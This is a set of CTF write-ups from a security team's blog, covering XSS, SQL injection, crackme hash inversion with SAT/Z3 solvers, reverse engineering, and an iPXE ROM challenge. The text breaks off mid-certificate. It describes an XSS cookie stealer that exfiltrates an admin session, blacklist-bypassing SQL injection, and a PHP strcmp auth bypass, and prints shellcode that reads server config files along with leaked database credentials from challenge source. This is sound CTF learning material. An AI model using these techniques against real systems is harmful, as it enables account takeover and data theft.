• # CSAW CTF 2012: Web 400 writeup

Written by Pierre Bourdon
2012-10-01 00:00:00

Note: this article uses MathJax to display formulas written in TeX. Please enable Javascript in order to see the formulas correctly.

Web 400 was an interesting challenge involving web exploits as well as crypto. We had access to a web application which allowed sending messages from a user to another. The twist is that all of these messages were encrypted using an unknown algorithm. When sending a message the user provides a key which is used to encrypt the message.

After analyzing the algorithm a bit (same key and message, trying different key sizes and block sizes, checking if every block is encrypted the same, etc.) we found out that it was some kind of ECB XOR using the key + a constant 64 bits value. This was only true for the first few blocks though: after that another key or another constant value was used. As we'll soon see, this does not matter a lot.

We were able to confirm that this message system is vulnerable to XSS attacks by sending some strings that give HTML tags when encrypted. We just need to encode a cookie stealer and send it to the admin user to gain access to his account.

Now that we know this algorithm uses XOR as its main operation, we can use a very interesting property of this binary operator:

$$Plain \oplus Key = Cipher \Leftrightarrow Plain \oplus Cipher = Key$$

If we send a block using a plaintext P1 and it gives us C1, we can use that property to deduce what we should send to have C2 be what we want:

$$P2 = C2 \oplus Key \Rightarrow P2 = C2 \oplus (P1 \oplus C1)$$

It turns out we can't use that for a whole message because the key seems to depend on the previous blocks plaintexts. We had to construct the message block per block using that technic. When encrypted, our message is:

 1  

We sent that to the admin and got his session ID transmitted to our server. Using that we were able to login to his account and find some encrypted messages (and their associated key). The first message had a plaintext key when decrypted gave us another encryption key, which we used to decrypt a second message, giving us the final key we had to submit on the CTF website.

• # CSAW CTF 2012: for200-500/net100-200/re100-400/web100-300/web600 writeups

Written by Pierre Bourdon
2012-10-01 00:00:00

## for200 (1)

When you decode the chunks of the PNG file individually only one has a CRC error. It contains text which is the key to submit.

## for200 (2)

When you decode the chunks of the PNG file individually only one text chunk has no CRC error. It contains text which is the key to submit.

## for500

strings

## net100

Open with Wireshark, "Follow TCP Stream" and notice a password being sent to a telnet server. This is the key.

## net200

Find the POST request to a <form> on the New York bar website. The text sent with that form contains the key.

## re100

Open the executable with IDA, notice a function that does c XOR 0xFF on every byte of a string, locate the string, apply the xor, get the key.

## re200

Open the executable with Reflector, notice a function that does a XOR once again, reverse the operation, get the key.

## re300

A bit more complicated this time: the decryption function needs a key, and the only thing we know is that the MD5 of the key is ff97a9fdede09eaf6e1c8ec9f6a61dd5. A Google Search tells us that this is MD5(Intel). This is still not the final key: the program uses that to decrypt a buffer using AES. Doing the same gives us the key to submit.

## re400

Open the binary with IDA, notice a decrypt function that does NOT c, locate the string, apply the NOT, get the key.

## web200

The SQL query allows us to inject something mysqli_real_escape'd in a LIKE clause, including % and _. We can use that to select multiple users and have one matching the $auth condition (valid password, we register him) and one matching the $admin condition (username == Administrator).

## web300

There is an SQL injection on the horses.php page. You can't normally use the select or union keywords (blacklisted), but if there is an equal sign before the keyword in the request it somehow works. From there we listed the tables in INFORMATION_SCHEMA, found a sessions table containing a session for the admin user, used it to get the key. This was not the way the author expected people to solve his exercise and this bug was fixed during CTF.

## web600

In PHP strcmp/strcasecmp with an array fails and returns 0. We can use that to bypass the check and get the key to be printed.

• # Using SAT and SMT to defeat simple hashing algorithms

Written by Pierre Bourdon
2012-07-31 18:30:00

Note: this article uses MathJax to display formulas written in TeX. Please enable Javascript in order to see the formulas correctly.

One week has passed since the end of LSE Week 2012 and I have received several partial solutions for the crackme that was released at the start of LSE Week for people to play with. Most people who bothered writing partial solutions were able to break the packing and anti debugging parts of it, but stopped at the very end when they faced a simple hashing algorithm they had to reverse to generate a valid key for the crackme. In pseudocode, the algorithm was the following:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 a, b, c, d are the four 32 bits integers given as input (key) Compute a simple checksum in order to avoid having several good solutions to the problem: if ((ROTL((a ^ b) - (c ^ d), 17) ^ (a + b + c + d)) != 0xa6779036) return 0; Kind of useless step just to make things a bit harder a = a XOR c b = b XOR d Then, 128 times in a row, for each integer: Shuffle the bits of the number (using a predefined table) XOR the number with a predefined constant Rotate left the number by N bits (N being another constant) Check if: a == 0x8e2c4c74 b == 0xa6c27e2a c == 0xf5e15d3d d == 0x7bebc2ba 

Clever people might notice that all of the operations done by that "hashing" algorithm are actually non destructive and completely reversible. That means our hashing function is bijective (no collisions) and that it is very easy to get the input from the output: just run it in reverse (rotate left becomes rotate right, XOR stays the same, shuffle uses a slightly modified table). It was meant to keep the crackme easy to crack once the code has been recovered and understood. Unfortunately, some last minute bugs cropped up in the implementation of the algorithm (never try to fix bugs at 4AM without automated tests...) and made the algorithm completely different:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 a, b, c, d are the four 32 bits integers given as input (key) Compute a simple checksum in order to avoid having several good solutions to the problem: if ((ROTL((a ^ b) - (c ^ d), 17) ^ (a + b + c + d)) != 0xa6779036) return 0; a = a XOR c b = b XOR d Then, 128 times in a row, for each integer: Shuffle the bits of the number using a table that might map some bits two times, and some other bits zero times (DESTRUCTIVE) XOR the number with a predefined constant Rotate left the number by N bits (N being another constant), except if this is the last number - in this case, rotate the third integer and use it as the new value for the last integer Check if: a == 0x8e2c4c74 b == 0xa6c27e2a c == 0xf5e15d3d d == 0x7bebc2ba 

The first error (in the shuffling part) comes from an indexing error in my bits position table. The table was defined like this:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // Maps the input bit position to the output bit position static const char mapping[128] = { // First integer 2, 14, 4, 24, 7, 31, 16, 18, 30, 17, 12, 27, 6, 26, 9, 22, 1, 28, 5, 3, 11, 23, 13, 25, 19, 20, 10, 29, 8, 15, 21, 0, // Second integer 26, 20, 15, 27, 28, 14, 21, 7, 17, 22, 31, 12, 4, 13, 8, 10, 23, 19, 18, 25, 9, 2, 5, 11, 6, 3, 24, 1, 0, 30, 29, 16, // Third integer 4, 26, 20, 13, 21, 29, 3, 14, 5, 22, 18, 6, 28, 23, 16, 10, 15, 27, 25, 1, 17, 0, 30, 2, 8, 24, 7, 9, 31, 19, 12, 11, // Fourth integer 8, 22, 26, 1, 20, 2, 30, 23, 6, 9, 0, 14, 18, 31, 3, 21, 4, 29, 24, 7, 12, 28, 16, 25, 11, 17, 19, 27, 5, 10, 15, 13 }; 

But the indexing was done like this:

 1 2 3 // *pn points to the current integer, i is the index of this integer (0, 1, // 2 or 3), j is the current bit. newn |= ((*pn >> scramble[(i << 2) + j]) & 1) << j; 

That i << 2 should actually be a i << 5 in order to use the whole mapping table. This bug makes the algorithm destructive because some bits from the input will not be used to generate the output. That means you can't get the input of the step from its output: the destroyed bits could have been 0 or 1.

The second bug is actually a stupid typo:

 1 2 3 4 a = ROTL(a, 7); b = ROTL(b, 13); c = ROTL(c, 17); d = ROTL(c, 25); 

I don't think this requires much explanation.

Now that the context of this article has been explained, the real question for me was the following: do these errors make the crackme unsolvable or can it still be solved easily using either bruteforce or more complex analysis techniques?

## SAT and its applications to cryptography

I started writing a bruteforcer for this hash using backtracking for each destroyed bit and only exploring the branches that would be valid later on by predicting as much as possible. Unfortunately, while that worked for a small number of iterations of the hash, the original algorithm used 128 iterations and the number of possible combinations increased a lot too fast to use such a simple technique.

Two days later I got reminded by a friend of a talk presented by Mate Soos at Hackito Ergo Sum 2011 about SAT solvers and their application to cryptography for breaking weak ciphers and hashes. Mate is the author of CryptoMiniSat, a very fast implementation of SAT with a few tweaks that can be used to increase efficiency for crypto usages.

Before going into the details of how to use SAT to break ciphers, let's talk a little bit about SAT solvers. SAT solvers are programs designed to solve the Boolean Satisfiability Problem, which can be expressed very simply like this: For this boolean formula, can I find values for the variables that make the formula true. This is an NP-complete problem (which means you can't solve the general case of that problem in polynomial time, only exponential time or slower) and is actually kind of the canonical NP-complete problem: it is a very common technique to reduce a problem to show that it is equivalent to SAT in order to prove that it is an NP complete problem.

Most SAT solvers take their input in a format called DIMACS, which is an easy-to-parse representation of boolean formulas in CNF (Conjunctive Normal Form). A CNF formula is a special case of boolean formula which is always written like this:

$$(X_i \vee \neg X_j) \wedge (\neg X_k \vee X_l \vee \neg X_m \vee X_n) \wedge \ldots$$

Basically, CNF is a logical product (aka. conjunction) of sums of variables or negated variables ($$\neg A$$). Every boolean formula can be converted into an equivalent CNF formula, either manually (distribute the $$\vee$$ over products) or through an automated process (there are some conversion tables between simple boolean equations and their CNF equivalent).

SAT solvers have a lot of applications and tend to be very optimized in order to have extremely good performances in most cases. It is common to try to solve SAT problems with several hundreds of thousands of clauses (a clause is a single sum of variable, like $$A \vee B \vee \neg C \vee D$$) and tens of thousands of variables.

In his talk last year, Mate Soos told us about how HiTag2 (a cryptosystem used in car locks) was reverse engineered, then translated to mathematical formulas and finally converted to CNF formulas describing the relations between input bits and output bits. If you are interested by that talk, it is available on Youtube. I thought that this technique might be of some use in breaking my hash algorithm and started translating the hash algorithm to an equivalent CNF representation.

## Breaking the hash with SAT

First of all, the definition of the algorithm would most likely use several thousands of clauses and about as much variables, so writing it by hand is out of the question. I started by writing a very simple library to generate DIMACS files, which exposes the following Python API:

• CNFGenerator.new_var() generates a new SAT variable instance, which has only one operation: logical negation (written -x)
• CNFGenerator.add(v1, v2, ..., vN) adds a clause to the output DIMACS file
• CNFGenerator.output() outputs the DIMACS representation

CryptoMiniSAT also provides a very useful extension to DIMACS for cryptographical uses: the ability to use XOR clauses which are $$A \oplus B \oplus C \oplus \ldots$$. These prove very useful in order to write equivalences ($$A \Leftrightarrow B \equiv \neg (A \oplus B) \equiv \neg A \oplus B$$) or simply XOR relations. CNFGenerator.add_xor handles the generation of such clauses.

Let's start by defining our input variables. They are four vectors of 32 bits, so 128 boolean variables:

 1 2 3 4 5 6 7 8 def cnf_int(gen, bits): return [gen.new_var() for i in range(bits)] # Input variables a = cnf_int(gen, 32) b = cnf_int(gen, 32) c = cnf_int(gen, 32) d = cnf_int(gen, 32) 

If you follow the pseudocode above, the next step would normally be the checksum. This is actually the hardest part of this algorithm to formalize because of the arithmetic operations (additions and substractions of 32 bits numbers). We'll do that last. The following step is a ^= c; b ^= d. This is quite easy to formalize. Let's do it for the general case , i.e. a = b ^ c. What this does is "make each bit of a equal to the same bit of b XOR the same bit of c". To formalize it, we can introduce a new variable $$A$$ which is equivalent to $$B \oplus C$$, which means the clause can only be true iff $$A$$ has the same value as $$B \oplus C$$. We just need to write that in a form that CryptoMiniSat can understand:

\begin{aligned} A \Leftrightarrow (B \oplus C) & \equiv \neg (A \oplus (B \oplus C)) \\\\ & \equiv \neg (A \oplus B \oplus C) \\\\ & \equiv \neg A \oplus B \oplus C \end{aligned}

Applied to the 32 bits of the variables and converted to Python, this gives us the following code:

 1 2 3 4 5 6 7 8 9 def cnf_xor(gen, a, b): out = [gen.new_var() for i in range(len(a))] for (a, b, o) in zip(a, b, out): gen.add_xor(-a, b, o) return out # a ^= c, b ^= d a = cnf_xor(gen, a, c) b = cnf_xor(gen, b, d) 

Next comes the core of the hashing algorithm: the iterated loop shuffling the bits, XOR-ing with a constant and rotating the number. The interesting part here is that shuffling and rotating bits does not require any clause or additional variables for the SAT representation of the algorithm: For example, if you have a 4 bit integer represented as the vector $$A_3 A_2 A_1 A_0$$, rotating it to the left by 2 bits transforms it to the vector $$A_1 A_0 A_3 A_2$$. You just need to swap the elements in the list representing your variables. This gives us the following Python code:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def cnf_rotl(gen, n, b): """Performs a left rotation of n by b bits""" return n[-b:] + n[:-b] def cnf_hash(gen, a, b, c, d): """Hashes a, b, c, d, returns new a, new b, new c, new d""" out = [] for i, n in enumerate((a, b, c, d)): scrambled = [n[SCRAMBLE_TABLE[i][j]] for j in range(len(n))] xored = cnf_xor_const(gen, scrambled, XOR_TABLE[i]) out.append(xored) out[0] = cnf_rotl(gen, out[0], ROT_TABLE[0]) out[1] = cnf_rotl(gen, out[1], ROT_TABLE[1]) out[2] = cnf_rotl(gen, out[2], ROT_TABLE[2]) out[3] = cnf_rotl(gen, out[2], ROT_TABLE[3]) return out # Iterate the hash 128 times for a, b, c and d for i in range(128): a, b, c, d = cnf_hash(gen, a, b, c, d) 

cnf_xor_const works the same as cnf_xor but "optimized" in order to XOR with a constant number instead of a variable number.

Now that we computed the hashed values, we just need to put some clauses to make sure they are equal to the hash we are looking for. In the crackme, the hash value was 8e2c4c74a6c27e2af5e15d3d7bebc2ba. To make sure one of our boolean vectors is equal to a constant value, we add one clause per bit of the vector which forces it to True if the corresponding bit in the constant value is 1, and False if the bit is 0:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 def cnf_equal(gen, n, c): for i in range(len(n)): b = c & 1 c >>= 1 if b: gen.add(n[i]) else: gen.add(-n[i]) # Check for equality cnf_equal(gen, a, 0x8e2c4c74) cnf_equal(gen, b, 0xa6c27e2a) cnf_equal(gen, c, 0xf5e15d3d) cnf_equal(gen, d, 0x7bebc2ba) 

With only this code, the SAT solver will generate us values for a, b, c and d that compute to the hash we are looking for. However, we still have to defeat the checksum. Let's look at its code again:

 1 2 if ((ROTL((a ^ b) - (c ^ d), 17) ^ (a + b + c + d)) != 0xa6779036) return 0; 

We already now how to compute XORs, rotations and how to check for number equality, so the remaining part is additions and substractions on 32 bit numbers. As you may already know, substraction is actually very easy to implement in terms of addition and two's complement, which is itself very easy to implement in terms of binary inversion and addition:

$$x - y \equiv x + COMPL2(y) \equiv x + INVERT(y) + 1$$
  1 2 3 4 5 6 7 8 9 10 11 def cnf_invert(gen, n): inv = [gen.new_var() for b in n] for (b, i) in zip(n, inv): gen.add(b, i) gen.add(-b, -i) return inv def cnf_sub(gen, a, b): invb = cnf_invert(gen, b) complb = cnf_add(gen, invb, cnf_const32(gen, 1)) return cnf_add(gen, a, complb) 

Addition on 32 bit integers is however a lot harder to define. If you did a bit of electrical engineering or if you have implemented an ALU (in HDL, with wires and logic gates, or even in Minecraft) you may know a very common way to define addition using two half adders to make a 1 bit full adder. Here is what a full adder looks like (image courtesy of Wikipedia):

It takes two bits, A and B, as well as a carry from a previous adder (Cin), and outputs the sum A + B + Cin and the carry resulting from that sum Cout. You can then chain these 1 bit full adders to make a 32 bit adder (again, image from Wikipedia):

Writing the truth table of a 1 bit full adder and simplifying the equations a bit, you get the following equations for S and Cout from A, B and Cin:

\begin{aligned} S & \equiv \overline{A} B \overline{C_{in}} \vee A \overline{B C_{in}} \vee A \overline{B} C_{in} \vee A B C_{in} \\\\ C_{out} & \equiv A B \vee A C_{in} \vee B C_{in} \end{aligned}

You can then translate these formulas to CNF to describe a 1 bit full adder for the SAT solver. However doing that manually is a lot of work (especially if you're like me and never had proper formation on CNF and how to convert formulas to that form), so we're just going to use the boolean algebra package from Sage to do it automatically:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 sage: import sage.logic.propcalc as propcalc sage: f = propcalc.formula("d <-> (~a&b&~c | a&~b&~c | ~a&~b&c | a&b&c)") sage: f.convert_cnf_table() sage: f (d|a|b|~c)&(d|a|~b|c)&(d|~a|b|c)&(d|~a|~b|~c)&(~d|a|b|c)&(~d|a|~b|~c)&(~d|~a|b|~c)&(~d|~a|~b|c) sage: f = propcalc.formula("d <-> (a&b | a&c | b&c)") sage: f.convert_cnf_table() sage: f (d|a|~b|~c)&(d|~a|b|~c)&(d|~a|~b|c)&(d|~a|~b|~c)&(~d|a|b|c)&(~d|a|b|~c)&(~d|a|~b|c)&(~d|~a|b|c) sage: import sage.logic.propcalc as propcalc sage: f = propcalc.formula("d <-> (~a&b&~c | a&~b&~c | ~a&~b&c | a&b&c)") sage: f.convert_cnf_table() sage: f (d|a|b|~c)&(d|a|~b|c)&(d|~a|b|c)&(d|~a|~b|~c)&(~d|a|b|c)&(~d|a|~b|~c)&(~d|~a|b|~c)&(~d|~a|~b|c) sage: f = propcalc.formula("d <-> (a&b | a&c | b&c)") sage: f.convert_cnf_table() sage: f (d|a|~b|~c)&(d|~a|b|~c)&(d|~a|~b|c)&(d|~a|~b|~c)&(~d|a|b|c)&(~d|a|b|~c)&(~d|a|~b|c)&(~d|~a|b|c) 

We can then convert the CNF clauses Sage gives us directly to Python:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def cnf_1bitadder(gen, a, b, c): res = gen.new_var() res_carry = gen.new_var() # (d|a|~b|~c)&(d|~a|b|~c)&(d|~a|~b|c)&(d|~a|~b|~c)&(~d|a|b|c)&(~d|a|b|~c)&(~d|a|~b|c)&(~d|~a|b|c) gen.add(res_carry, a, -b, -c) gen.add(res_carry, -a, b, -c) gen.add(res_carry, -a, -b, c) gen.add(res_carry, -a, -b, -c) gen.add(-res_carry, a, b, c) gen.add(-res_carry, a, b, -c) gen.add(-res_carry, a, -b, c) gen.add(-res_carry, -a, b, c) # (d|a|b|~c)&(d|a|~b|c)&(d|~a|b|c)&(d|~a|~b|~c)&(~d|a|b|c)&(~d|a|~b|~c)&(~d|~a|b|~c)&(~d|~a|~b|c) gen.add(res, a, b, -c) gen.add(res, a, -b, c) gen.add(res, -a, b, c) gen.add(res, -a, -b, -c) gen.add(-res, a, b, c) gen.add(-res, a, -b, -c) gen.add(-res, -a, b, -c) gen.add(-res, -a, -b, c) return res, res_carry 

Probably not the nicest way to do it, but most likely one of the simplest way. We can then use that one bit adder to make a 32 bit adder:

  1 2 3 4 5 6 7 8 9 10 def cnf_add(gen, a, b): carry = gen.new_var() gen.add(-carry) # The first carry is always 0 out = [] for (a, b) in zip(a, b): res, carry = cnf_1bitadder(gen, a, b, carry) out.append(res) return out 

With this we can finally implement our checksum!

 1 2 3 4 sum = cnf_add(gen, a, cnf_add(gen, b, cnf_add(gen, c, d))) sub = cnf_sub(gen, cnf_xor(gen, a, b), cnf_xor(gen, c, d)) cksum = cnf_xor(gen, cnf_rotl(gen, sub, 17), sum) cnf_equal(gen, cksum, 0xa6779036) 

Running our Python program generates a DIMACS file with 17061 variables and 19365 clauses. CryptoMiniSat can find a set of values that satisfy the clauses in less than 0.05s on my Sandy Bridge based laptop. For example, a = 0xe9e708e1, b = 0xf7e4c55a, c = 0x85e77db9 and d = 0x5467bd3c pass both the checksum and the hash and are considered a valid solution.

## Using Z3 to make things easier

At first I planned to stop there: I had a proof that the crackme was still doable even with that broken hash algorithm. However when I explained what I was doing, a friend of mine told me about SMT solvers. One of their characteristics is that they can work on boolean algebra, but also functions and linear combinations of integer and real variables. For example, you can use an SMT solver for this kind of problem:

$$x^2 + y^2 < 1, 2x + y > 1$$

I looked a bit at recent SMT solvers to see if it could make cracking my hash easier. I used the Z3 theorem prover from Microsoft Research, which is not open source but has Linux binaries and nice interfaces for programming languages like Python and OCaml. Z3 can work on real numbers, integers, functions but also bit vectors, and has a nice API to do so.

As expected, things are a lot easier when your solver has native support for your native problem representation (here, bit vectors and unsigned integers). The code cracking the hash using Z3 is a fair bit slower (still less than 5s) but also much shorter and easier to understand:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 def rotl32(n, sa): return (n << sa) | LShR(n, 32 - sa) def hash(a, b, c, d): out = [] for i, n in enumerate((a, b, c, d)): nn = BitVecVal(0, 32) for j in range(32): nn |= (LShR(n, SCRAMBLE_TABLE[i][j]) & 1) << j nn ^= XOR_TABLE[i] out.append(nn) out[0] = rotl32(out[0], ROT_TABLE[0]) out[1] = rotl32(out[1], ROT_TABLE[1]) out[2] = rotl32(out[2], ROT_TABLE[2]) out[3] = rotl32(out[2], ROT_TABLE[3]) return out if __name__ == '__main__': s = Solver() a = BitVec('a', 32) b = BitVec('b', 32) c = BitVec('c', 32) d = BitVec('d', 32) checksum = rotl32((a ^ b) - (c ^ d), 17) ^ (a + b + c + d) a ^= c b ^= d for i in range(128): a, b, c, d = hash(a, b, c, d) solve(checksum == 0xa6779036, a == 0x8e2c4c74, b == 0xa6c27e2a, c == 0xf5e15d3d, d == 0x7bebc2ba) 

Here the shorter code is mostly due to the fact I did not have any nice API to use CryptoMiniSat and to translate arithmetic operations to CNF. SMT solvers do not provide that much of an edge over SAT solvers for these kind of problems: they shine a lot more as soon as you introduce functions or real numbers that can't easily be expressed as a bit vector.

## Conclusion

Sometimes when simple bruteforce does not work you have to go a bit further to reverse a hash algorithm, and using a SAT solver enables you to do just that. The problem is not always easy to formalize, especially when you start using complex operations that can't easily be translated, but using SAT solvers for cryptography is a very interesting technique that has already proven itself a lot of times in the past, and will probably become more and more useful in the future as SAT solvers and ways to formalize hard problems (like AES) evolve.

• # NDH2K12 Prequals: shortner writeup

Written by Pierre Bourdon
2012-03-25 00:42:00

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 From: Jessica To: LSE Subject: New email from our contact Attachments : executable2.ndh Thank you again for your help, our technical staff has a pretty good overview of the new device designed by Sciteek. Your account will be credited with $500. You did work hard enough to impress me, your help is still more than welcome, you will get nice rewards. Our anonymous guy managed to get access to another bunch of files. Here is one of his emails: --- Hi there, see attached file for more information. It was found on http://sci.nuitduhack.com/EgZ8sv12. --- Maybe you can get further than him by exploiting this website. We also need to get as much information as possible about the file itself. If you succeed, you will be rewarded with$2500 for the ndh file and $1000 for the website. Please use "Sciteek shortener" and "strange binary file #2" titles. Regards, Jessica.  Let's ignore the file at the given URL (this is for another writeup!) and work on the URL shortener website mentioned in this email: sci.nuitduhack.com. After experimenting a bit, we noticed several interesting points: • The short URL is apparently random, and trying to access a non-existent one give us "An unknown error occurred. Please try later." • If no short URL is provided, the following error message is displayed: "No URL alias found in URL" We looked at the web server informations to get more data on where to start attacking. This is the HTTP response to an invalid short URL:  1 2 3 4 5 6 7 HTTP/1.1 200 WSGI-GENERATED Server: nginx Date: Sat, 24 Mar 2012 21:40:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding  The WSGI-GENERATED string informs us that the website is coded in Python using the WSGI interface to communicate with the web server. Also, even though nginx is mentioned in the HTTP response, sending some erroneous queries shows us that in fact nginx is only used as a reverse proxy in front of an Apache 2 server:   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $ curl -vvv http://sci.nuitduhack.com/% * About to connect() to sci.nuitduhack.com port 80 (#0) * Trying 176.34.97.189... * connected * Connected to sci.nuitduhack.com (176.34.97.189) port 80 (#0) > GET /% HTTP/1.1 > User-Agent: curl/7.24.0 (x86_64-unknown-linux-gnu) libcurl/7.24.0 OpenSSL/1.0.0g zlib/1.2.6 libssh2/1.3.0 > Host: sci.nuitduhack.com > Accept: */* > < HTTP/1.1 400 Bad Request < Server: nginx < Date: Sat, 24 Mar 2012 21:42:06 GMT < Content-Type: text/html; charset=iso-8859-1 < Content-Length: 226 < Connection: keep-alive < Vary: Accept-Encoding < 400 Bad Request

Your browser sent a request that this server could not understand.

* Connection #0 to host sci.nuitduhack.com left intact 

We knew that we could use the server running on port 4004 to access the filesystem through a shellcode running in the VM. We used that to confirm that an Apache 2 server was installed and running on the server, using the following shellcode:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 MOVB R0, #0x2 MOVL R1, :filename MOVB R2, #0x0 SYSCALL ; open(filename, O_RDONLY) MOV R7, R0 .label :loop MOVB R0, #0x03 MOV R1, R7 MOV R2, SP MOVB R3, #0x01 SYSCALL ; read(fd, sp, 1) TEST R0, R0 JNZ :read_ok END .label :read_ok MOVB R0, #0x04 MOVB R1, #0x01 MOV R2, SP MOVB R3, #0x01 SYSCALL ; write(stdout, sp, 1) JMPS :loop .label :filename .ascii "/etc/apache2/apache2.conf" 

Using this shellcode we were able to read /etc/apache2/apache2.conf, as well as the default vhost (/etc/apache2/sites-enabled/default) and the Apache 2 PID file (/var/run/apache2.pid). We then tried to access the URL shortener vhost. After a few tries and a lot of luck, we found out that it was named shortner instead of shortener. Here is its virtual host configuration:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17  ServerAdmin webmaster@localhost ServerName sci.nuitduhack.com DocumentRoot /var/www/shortner Options FollowSymLinks AllowOverride None WSGIScriptAlias / /var/www/shortner/app.py Options FollowSymLinks AllowOverride None Order allow,deny Allow from All 

We then read the application source code, and after a few hops we got this file which handles the HTTP queries:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from apwal import * from apwal.core.exceptions import ExternalRedirect from apwal.http import HttpResponse,HttpResponseRedirect from MySQLdb import * user = 'shortner' passwd = 'TzuFsms8' db = 'shortner' class ErrorOccurred(Exception): def __init__(self): Exception.__init__(self) class Shortner: def __init__(self): # connect to our database self.conn = connect(host='localhost',user=user, passwd=passwd,db=db,port=3306) def getUrlFromAlias(self, alias): cur = self.conn.cursor() cur.execute("SELECT url FROM shortner WHERE alias='%s'" % alias) res = cur.fetchone() cur.close() if res: return res[0] return None def close(self): self.conn.close() @main class URLShortner(Pluggable): def getRealUrlFromAlias(self, alias): s = Shortner() url = s.getUrlFromAlias(alias) s.close() return url def error(self): return HttpResponse('An unknown error occurred. Please try later.') @bind('/{id:(.+)}?') def index(self,urlparams=None): if urlparams and ('id' in urlparams) and urlparams['id']: if urlparams['id']=='mMVzJ8Qj/flag.txt': return HttpResponse('b92b5e7094c7ffb35a526c9eaa6fab0a') elif urlparams['id']=='EgZ8sv12': return HttpResponse( open('/var/www/shortner/crackme2.ndh','rb').read() ) else: try: if 'BENCHMARK' in urlparams['id'].upper(): raise ErrorOccurred() r = self.getRealUrlFromAlias(urlparams['id']) if r: return HttpResponseRedirect(r) raise ErrorOccurred() except ProgrammingError,e: return self.error() except ErrorOccurred,e: return self.error() else: return HttpResponse( 'Sciteek URL shortener' '

No URL alias found in URL !

' ) 

According to the code, it looks like we should have been able to inject SQL through the short URL! Indeed, the query parameter is not escaped before being interpolated with % in the query (a correct way to do it would have been to remove the manual interpolation and let the Python MySQL client lib do it itself!). But there is no need to do that, the flag is already present in the code source: b92b5e7094c7ffb35a526c9eaa6fab0a.

LSE blog: teaching you how to pwn web challenges without doing dirty web exploits!

• # CSAW CTF 2012: Reverse Engineering 500 writeup

Written by Pierre Bourdon
2012-10-01 00:00:00

This reverse engineering challenge presented us with two binary files: 8086100f.mrom and 8086100f.mrom.tmp. Looking through the strings we quickly noticed the MROM file is a PXE ROM for an Intel e1000e network card, based on iPXE (an open source PXE ROM with a lot of useful features). Very nice coincidence for us: a member of our team (Marin Hannache) was a GSoC student working on iPXE during this last summer, which helped us a lot in understanding what this challenge was about.

iPXE allows the user to embed a script that is automatically run at boot time, in order to download file, send a query to a web server, get an IP from a DHCP server, or a lot of other possible actions. Looking a bit more in the strings of the MROM file we saw something that is likely to be a boot script for iPXE:

 1 2 3 4 5 6 7 #!ipxe :retry dhcp || goto retry prompt --key 0x03 --timeout 5000 (Quick, Quick!) Press CTRL+C for GDB UDP stub && gdbstub udp net0 || kernel https://secure-doomsday-client-loader.c0.cx/boot/vmlinuz initrd https://secure-doomsday-client-loader.c0.cx/boot/initrd.gz?include_flag=0 boot 

If the user do not press Ctrl+C to interrupt the boot sequence, iPXE will download a kernel and an initrd from an HTTPS server and boot using these files. The initrd seems very interesting with its include_flag query argument, so we tried to download it locally, setting include_flag=1:

 1 2 3 4 5 6 7 8 $wget --no-check-certificate "https://secure-doomsday-client-loader.c0.cx/boot/initrd.gz?include_flag=1" --2012-09-30 16:43:56-- https://secure-doomsday-client-loader.c0.cx/boot/initrd.gz?include_flag=1 Resolving secure-doomsday-client-loader.c0.cx... 128.238.66.211 Connecting to secure-doomsday-client-loader.c0.cx|128.238.66.211|:443... connected. WARNING: cannot verify secure-doomsday-client-loader.c0.cx's certificate, issued by ‘/C=YO/ST=LO/L=None/O=None/OU=None’: Self-signed certificate encountered. HTTP request sent, awaiting response... 400 Bad Request 2012-09-30 16:43:57 ERROR 400: Bad Request.  At first we thought the challenge was down, so we waited a bit, but the request was always failing. We then realized that some of the other strings in that file mentioned an OpenSSL Generated Certificate. The server was probably waiting for a query performed with a valid SSL client certificate/key pair, which was most likely embedded in the iPXE rom. After generating certificates and keys with OpenSSL and trying to match what was in the ROM with the DER format certificates we generated, we were able to extract a certificate and an RSA key from it:   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 $ openssl x509 -in chall.crt -inform DER -----BEGIN CERTIFICATE----- MIIDhzCCAm+gAwIBAgICEAAwDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCWU8x CzAJBgNVBAgMAkxPMQ0wCwYDVQQHDAROb25lMQ0wCwYDVQQKDAROb25lMQ0wCwYD VQQLDAROb25lMB4XDTEyMDkwNTIyMzU1OVoXDTEyMTIwNDIyMzU1OVowSTELMAkG A1UEBhMCWU8xCzAJBgNVBAgMAkxPMQ0wCwYDVQQKDAROb25lMQ0wCwYDVQQLDARO b25lMQ8wDQYDVQQDDAZjbGllbnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK AoIBAQDTp0cg6VHOUL0VIzcGic14TrZ0SsIvuwhkGX1d/qmmg+LL5nP0O0gRK+TF o42go5bCpCicnX3t13U5Pt8bCVyQTYaGaWiYf2v3z4/D3jd0ar6ENW2lwD5u9o/S cNfap24f2SJfDY70JR7bnd6CRimDIAj2Kjw2lEklQj2aGknX/cv3R1jL1C1PFehD 0zdi1TcXZU21acAVGkQpaSHKg4ufRk0xEE41RsieOusICHJcS4uM4bnZ2ThJhmR0 